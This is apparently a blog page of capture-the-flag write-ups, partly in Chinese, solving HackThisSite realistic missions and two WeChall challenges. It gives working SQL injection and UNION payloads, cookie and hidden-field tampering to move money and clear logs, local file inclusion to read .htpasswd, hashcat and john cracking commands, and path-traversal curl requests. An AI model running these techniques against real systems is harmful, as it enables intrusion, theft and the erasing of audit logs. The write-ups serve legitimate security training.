Hello Navi

Tech, Security & Personal Notes

Challenge

Move Gary Hunter's $10,000,000 to dropCash and clear the bank logs.

Solution

1. Find the account

The User Info search endpoint is vulnerable to SQL injection. From the current search form, submit:

1
' OR 1=1 --

The result includes the target account:

1
GaryWilliamHunter : -- $$$$$ --

2. Register and inspect the authenticated workflow

Register a temporary account, then log in through login1.phplogin2.php. The account page exposes two important client-controlled values:

  • accountUsername cookie
  • hidden TO and AMOUNT fields in the transfer form

The target amount is 10000000.

Set the challenge cookie identity to Gary's account, then submit the transfer form:

1
2
3
4
5
Cookie: accountUsername=GaryWilliamHunter

POST /missions/realistic/8/movemoney.php
TO=dropCash
AMOUNT=10000000

The server returned:

1
Congratulations, 1st Objective Done, Now Cover Your Tracks

4. Clear the logs

The normal clear-files form targets <username>SQLFiles. Change its hidden dir value to logFiles and submit:

1
2
POST /missions/realistic/8/cleardir.php
dir=logFiles

The challenge then displayed:

1
2
Congrats
Good Job, xxx, You have sucessfully completed Mission 8

Challenge

Use a flaw in an image gallery to obtain the administrator's credentials and access the admin directory.

目标是利用图片查看器读取 .htpasswd,破解管理员密码,再访问受保护目录。

Solution

1. 确认 LFI

页面中的图片查看器使用类似下面的参数:

1
showimages.php?file=patriot.txt

file 参数可被用于读取任务目录中的其他文件。目标文件位于:

1
images/admin/.htpasswd

可用请求:

1
2
curl -sS -b "HackThisSite=<mission-cookie>" \
"https://www.hackthissite.org/missions/realistic/7/showimages.php?file=images/admin/.htpasswd"

响应会包含管理员账户及其 $1$... 格式的 MD5-crypt 哈希。

2. 破解哈希

$1$ 表示 MD5-crypt。把完整的 administrator:<hash> 行保存后,用本地工具进行字典测试,例如:

1
2
john --format=md5crypt --wordlist=<wordlist> htpasswd.txt
john --show --format=md5crypt htpasswd.txt

本关得到的密码是:

1
shadow

3. 访问管理员目录

1
2
curl -sS -u 'administrator:shadow' \
"https://www.hackthissite.org/missions/realistic/7/images/admin/"

成功通过 HTTP Basic Authentication 后,任务完成。

Challenge

Decrypt the XECryption document and send the recovered text to ToxiCo_Watch through the HTS message center.

Solution

1. 理解格式

页面中的密文由数字组成,每三个数字代表一个字符。三数之和等于:

1
ASCII(明文字符) + key

加密页面 encryption.php 也显示这是自定义算法,而不是标准密码。

2. 计算分组和

1
2
3
4
5
6
import re
from collections import Counter

cipher_text = open("cipher.txt").read()
nums = [int(x) for x in re.findall(r"\d+", cipher_text)]
sums = [sum(nums[i:i+3]) for i in range(0, len(nums) - 2, 3)]

当前页面有 1098 个数字,即 366 个字符分组。频率最高的和为 794。英文文本中最常见的字符通常是空格(ASCII 32),所以:

1
2
3
4
key = 794 - 32
# key == 762
plaintext = "".join(chr(value - key) for value in sums)
print(plaintext)

3. 解密结果

1
2
3
4
5
6
7
8
Samuel Smith

Thank you for looking the other way on the increased levels of toxic chemicals in the river running alongside our industrial facilities. You can pick up your payment of $20,000 in the mailbox at the mansion on the corner of 53 and St. Charles tomorrow between the hours of 3:00am and 5:00am.

Thank you,

John Sculley
ToxiCo Industrial Chemicals

4. 完成任务

在 HTS Messages Center 的 Send 页面,将完整解密文本发送给 ToxiCo_Watch。当前服务器返回:

1
Congratulations, you have successfully completed realistic 6!

Challenge

Break into the administrator panel of a telemarketing company.

目标是通过站点泄露的信息找到管理员密码并进入后台。

robots.txt 泄露了敏感目录,备份文件又暴露了认证哈希;弱 MD4 和短密码使离线破解非常容易。生产系统应移除备份文件,限制目录访问,并使用 Argon2id、bcrypt 或 scrypt 保存密码。

Solution

1. 检查 robots.txt

1
/missions/realistic/5/robots.txt

当前响应为:

1
2
3
User-agent: *
Disallow: /lib
Disallow: /secret

查看 /secret/ 目录。

2. 找到备份文件

目录列表暴露:

1
2
admin.bak.php
admin.php

访问 admin.bak.php 得到当前哈希:

1
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

3. 识别并破解哈希

/lib/hash 是 ELF 哈希工具;结合任务线索和 32 位十六进制输出,可按 MD4(Hashcat mode 900)测试。当前哈希是一个短的小写字母/数字密码,使用本地字典或有限 mask 搜索得到:

1
password: 437a1

示例:

1
2
printf 'fc189d3b5f94f5560f586e1b7af7335b\n' > hash.txt
hashcat -m 900 -a 3 hash.txt '?1?1?1?1?1' -1 '?l?d'

4. 登录并验证

管理员表单位于:

1
/missions/realistic/5/secret/admin.php

提交 password=437a1 后,服务器返回:

1
Error: You have already completed Mission 5

Challenge

Extract the email addresses from Fischer's Animal Products and send them to SaveTheWhales through the HTS message center.

category 被直接拼入 SQL,导致 UNION-based SQL injection。应使用参数化查询,并让数据库账号只拥有必要权限。

Solution

1. 确认注入点与列数

产品分类通过 products.php?category= 查询。当前站点的 ORDER BY 4 仍能正常返回,ORDER BY 5 返回空结果,因此原查询有 4 列:

1
/missions/realistic/4/products.php?category=1%20ORDER%20BY%204

2. UNION 查询邮箱

把第 2 列用于显示文本:

1
/missions/realistic/4/products.php?category=2%20UNION%20ALL%20SELECT%201,email,3,4%20FROM%20email

当前响应提取到 9 个地址:

1
2
3
4
5
6
7
8
9
alph-alpha-brown@hotmail.com
sam.goodwin@yahoo.com
UltraDeathLaser@aol.com
SwingLow@hotmail.com
TeaBody@aol.com
jsmith@uic.edu
3ambeer@graffiti.net
shootfirst@yahoo.com
Bobby@friends.com

在 HTS Messages Center 的 Send 页面,以 SaveTheWhales 为收件人,将以上地址放入消息正文并发送。成功响应为:

1
Congratulations, you have successfully completed realistic 4!

Challenge

Restore the original page of a defaced peace-poetry site.

目标是找到原始主页备份,并恢复被篡改的 index.html

Solution

1. 找到备份

被篡改页面源码包含注释:

1
<!-- oldindex.html -->

访问同目录的 oldindex.html 可以取得原始页面内容,并看到诗歌读取和提交功能。

2. 利用提交功能的路径穿越

提交处理器把用户提供的文件名直接用于保存路径。将文件名设为:

1
../index.html

再把 oldindex.html 的完整内容作为诗歌正文提交:

1
2
3
4
5
6
7
8
OLD_HTML=$(curl -sS -b "HackThisSite=<mission-cookie>" \
"https://www.hackthissite.org/missions/realistic/3/oldindex.html")

curl -sS -b "HackThisSite=<mission-cookie>" \
-e "https://www.hackthissite.org/missions/realistic/3/submitpoems.php" \
--data-urlencode "name=../index.html" \
--data-urlencode "text=${OLD_HTML}" \
"https://www.hackthissite.org/missions/realistic/3/submitpoems2.php"

处理器要求来自 submitpoems.php 的 Referer;使用浏览器操作时自然会满足,命令行测试则需显式设置。

重新访问任务首页。恢复后的页面出现下一关链接,表示任务完成。

Challenge

Publish a message on the Chicago American Nazi Party site.

目标是进入隐藏的更新功能并发布消息。

Solution

主页底部有一个肉眼不明显的 update 链接,页面源码确认它指向:

1
/missions/realistic/2/update.php

2. 绕过登录

update.php 的登录查询存在 SQL 注入。用户名字段可提交:

1
' OR 1=1 --

Challenge

Raise the ranking of the band Raging Inferno on Uncle Arnold's Band Review Page.

目标是让 Raging Inferno 排到乐队评分榜第一。

Solution

1. 检查投票表单

页面使用 GET 表单提交投票,表单中限制评分选项为 1–5:

1
2
3
4
5
6
7
8
9
10
11
<form action="v.php" method="get">
<input type="hidden" name="id" value="3">
<select name="vote">
<option value="1">1</option>
<option value="2">2</option>
<option value="3">3</option>
<option value="4">4</option>
<option value="5">5</option>
</select>
<input type="submit" value="vote!">
</form>

Raging Inferno 的表单 ID 为 3。下拉框只是客户端界面限制,不能代替服务端校验。

2. 修改评分值

可以在开发者工具中把 Raging Inferno 的一个 option 改成大于 5 的值:

1
<option value="9999">9999</option>

或者直接请求投票处理器

1
/missions/realistic/1/v.php?PHPSESSID=<current-value>&id=3&vote=9999

提交后,Raging Inferno 的分数会超过原榜首,任务完成。

Challenge

题目要求提交一个公网可访问的 HTTP endpoint。WeChall 会多次请求 ?n=N,服务需要返回第 N 个 Fibonacci 数的十进制字符串 MD5;每次请求的耗时上限是 2.618 秒。

题面给出的样例是:n=100 时,F(100) = 354224848179261915075,返回值应为 d8400bceb05dfe785afcd2da4fdb010e

Solution

服务监听本地 8765 端口,读取查询参数 n,计算 Fibonacci 数,再对它的十进制表示计算 MD5。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
#!/usr/bin/env python3
"""Fast Fibonacci MD5 microservice for WeChall Few Bonaccis challenge.
Returns MD5 of the Nth Fibonacci number (as decimal string).
Uses gmpy2.fib() which is highly optimized GMP implementation.
Handles negative indices: F(-n) = (-1)^(n+1) * F(n)
"""
import hashlib
import sys
import gmpy2
from http.server import HTTPServer, BaseHTTPRequestHandler
from urllib.parse import urlparse, parse_qs

# Remove int->str conversion limit for large numbers
sys.set_int_max_str_digits(0)


def fib(n):
"""Compute F(n) for any integer n (including negative).
F(-n) = (-1)^(n+1) * F(n)
"""
if n >= 0:
return gmpy2.fib(n)

pos_n = -n
f_pos = gmpy2.fib(pos_n)
if pos_n % 2 == 0:
return -f_pos
return f_pos


class FibHandler(BaseHTTPRequestHandler):
def do_GET(self):
parsed = urlparse(self.path)
params = parse_qs(parsed.query)
n_str = params.get("n", [None])[0]

if n_str is None:
self.send_error(400, "Missing n parameter")
return

try:
n = int(n_str)
except ValueError:
self.send_error(400, "Invalid n")
return

f = fib(n)
fib_str = str(f)
md5_hash = hashlib.md5(fib_str.encode()).hexdigest()

body = md5_hash.encode()
self.send_response(200)
self.send_header("Content-Type", "text/plain")
self.send_header("Content-Length", str(len(body)))
self.end_headers()
self.wfile.write(body)

def log_message(self, format, *args):
sys.stderr.write(f"[Fib] {args[0]} {args[1]} {args[2]}\\n")


if __name__ == "__main__":
port = 8765
server = HTTPServer(("0.0.0.0", port), FibHandler)
print(f"Fibonacci MD5 service listening on port {port}", flush=True)
server.serve_forever()

把本地端口通过 cloudflared 暴露出去,并把公网入口提交给 WeChall:

1
$ cloudflared tunnel --url http://127.0.0.1:8765

Challenge

题面给出一段对话:其中一人的网络被 throttled,无法再听音乐;对方建议访问 mp3.gizmore.org,并提示这个题与 guesswork 相似。

Solution

1
2
3
$ curl -sS -D - -o /dev/null http://mp3.gizmore.org
HTTP/1.1 401 Unauthorized
WWW-Authenticate: Basic realm="iloveyou :* those mp3 are for us!"
iloveyou
+ + +
SYSTEM STATUS: ACTIVE ENCRYPTED SECTOR 7 PRTS_TERMINAL_V2.0 PROTOCOL: 0x2A ENCRYPTED DATA STREAM SYSTEM: ONLINE